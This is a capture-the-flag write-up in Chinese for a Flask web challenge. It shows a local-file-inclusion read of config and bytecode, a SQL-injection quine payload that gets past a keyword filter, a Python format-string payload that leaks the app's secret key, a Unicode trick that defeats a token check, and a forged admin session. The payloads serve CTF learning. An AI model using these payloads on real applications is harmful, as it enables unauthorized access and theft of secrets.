# CYBERPUNK 1977 ###### tags: `unsolved` * site : http://eofqual.ais3.org:1977/ * hint - I use `tiangolo/uwsgi-nginx-flask` to build this cool stuff. (with default configuration) - [VISUAL BASIC 2077](https://drive.google.com/file/d/1AXEcUSwGlBON_1abv919AIw5CSX2I5VU/view) * 可以發現 hint 這裡有個 LFI 的洞 * ```http://eofqual.ais3.org:1977/hint?file=uwsgi.ini``` ``` [uwsgi] module = main callable = app ``` * 拿到 source code ```http://eofqual.ais3.org:1977/hint?file=__pycache__/main.cpython-38.pyc``` ```python= # uncompyle6 version 3.7.4 # Python bytecode 3.8 (3413) # Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40) # [GCC 9.3.0] # Embedded file name: ./main.py # Compiled at: 2021-01-08 03:23:56 # Size of source mod 2**32: 2359 bytes from os import getenv, urandom from flask import Flask, g, request, session, send_file, render_template import sqlite3, re, secrets app = Flask(__name__) app.secret_key = urandom(32) def is_bad(payload): """ Weak WAF :)""" if re.search('replace|printf|char|[\\x00-\\x20]', payload, re.I | re.A): return True return False class Flag: def __str__(self): if session.get('is_admin', False): return getenv('FLAG', 'FLAG{F4K3_FL4G}') return "Oops, You're not admin (・へ・)" def db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect('sqlite.db') db.row_factory = sqlite3.Row return db @app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() @app.route('/') def index(): session['is_admin'] = False return render_template('index.html', token=f"GUEST-{secrets.token_hex(16).upper()}") @app.route('/hint') def hint(): filename = request.args.get('file') if filename.endswith('.py'): return 'Denied: *.py' return send_file(filename) @app.route('/login', methods=['POST']) def login(): flag = Flag() username = request.form.get('username', '') password = request.form.get('password', '') token = request.form.get('token', '') if is_bad(username) or is_bad(password): return 'BAD!' if username != 'admin': if re.search('ADMIN', token, re.I | re.A): return "Hey {username}, admin's token is not for you (・へ・)".format(username=username) cursor = db().cursor() query = f"SELECT username, password FROM users WHERE username='{username}' AND password='{password}'" cursor.execute(query) res = cursor.fetchone() if res != None and res['username'] == username and res['password'] == password: if token.upper() == 'ADMIN-E864E8E8F230374AA7B3B0CE441E209A': return ('Hello, ' + username + ' 。:.゚ヽ(*´∀`)ノ゚.:。 Here is your flag: {flag}').format(flag=flag) return 'Hello, ' + username + ' 。:.゚ヽ(*´∀`)ノ゚.:。 No flag for you (´;ω;`)' else: return 'No (´;ω;`)' if __name__ == '__main__': app.run(port=5000, debug=True) # okay decompiling main.cpython-38.pyc ``` * 從 source code 裡面看有幾個點 * username 和 admin query 完會做檢查 * token 會檢查 * session 會檢查 is_admin * 首先會想到用 quine 的方法來解,但這裡有個 WAF 擋了一些詞,所以不能用 REPLACE、CHAR 的那個方法,只好另外造一個,[參考](http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410) 了這裡用 concate 的方法 ```username=admin&token=ADMIN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'admin'admin,''''a,','b,'a'aa,'b'bb,'union/**/select/**/admin/**/as/**/username,a||ab||a||admin||a||admin||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--``` * 但是能成功登入,還是會被 session 擋住,得到 Oops, You’re not admin (・へ・) 這個東西,所以這時會想到作業用的 format string 的方法和自簽 session 的方法,但這裡的寫法其實和作業不同,不是寫在裡面的,無法直接靠 format string 拿到 flag 的內容,只能走自簽 session 的路 :::success 比賽的時候我們就卡在這地方,我們打算直接利用 ```{flag.__class__.__base__.__subclasses__()[132].__init__.__globals__['getenv']('FLAG','NO')}``` 來拿 flag,但其實 format string 不能 call function ::: * 想要簽 session 就得先拿到 secret_key,還是得利用 format string 的方法加上 python sandbox escape 的方法去拿,賽後跟助教問了提示 ```{flag.__class__.__str__.__globals__[app].secret_key}``` * 需要去改到 username 的話又會被 token 擋住 (username 不是 admin),但可以看到 token 在最後比較的地方會做個 .upper(),我們發現有些特殊字在 upper 以後會變 ASCII,所以我們找了這個字串來繞過第一個檢查又能通過第二個檢查 ```ADMıN-E864E8E8F230374AA7B3B0CE441E209A``` * 於是拿到 session payload : ```username={flag.__class__.__str__.__globals__[app].secret_key}&token=ADMıN-E864E8E8F230374AA7B3B0CE441E209A&password='union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'flag'flag,'{flag.__class__.__str__.__globals__[app].secret_key}'flagflag,''''a,','b,'a'aa,'b'bb,'union/**/select/**/flagflag/**/as/**/username,a||ab||a||flag||a||flag||b||a||flagflag||a||flag||flag||b||a||a||a||a||aa||b||a||b||a||bb||b||a||aa||a||aa||aa||b||a||bb||a||bb||bb||b||a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba/**/as/**/password/**/from(select'ab,')--'ba)--``` secret_key : ```b'h\x16\xa5\xca\x88\xd9\x8e\x10i\x12\xde\x82ie\xcarL\x9f\r\xe8\xdf\xf5\x84\xb6\x03a3\xb4\xa8K\x94>'``` * 最後用這個 session 簽了個 is_admin 的 session 塞 cookie,然後成功又用 admin 的那副 payload 拿到 flag 了 ![](https://i.imgur.com/FDlBCAR.png) * FLAG{RE𝖠𝗟_FⅬ𝗔G} ## Quine 邏輯小教學 ```sql SELECT ab||a||a||a||a||aa||b||a||b||a||bb||b|| a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT ab||a||a||a||a||aa||b||a||b||a||bb||b|| a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba FROM(SELECT'ab,');'ba); ``` ref: http://sqlite.1065341.n5.nabble.com/SQL-quine-using-with-td74400.html#a74410 1. 在`FROM`那個括弧裡面`SELECT'string'name` 好像就是把`string`這個字串取名成`name`。從這段可以看出來他的命名對應關係: | name | a | b | aa | bb | ab | ba | | ------ | --- | --- | --- | --- | ---------------------- | --- | | string | ' | , | a | b | SELECT ... FROM(SELECT | ); | 2. 接下來回頭看第一個`SELECT`會得到用`||`把變數concat起來的產物。 ``` ab||a||a||a||a||aa||b||a||b||a||bb||b|| a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba ``` 每一個變數用剛剛的表格代換,就會發現他就是輸入的sql!!!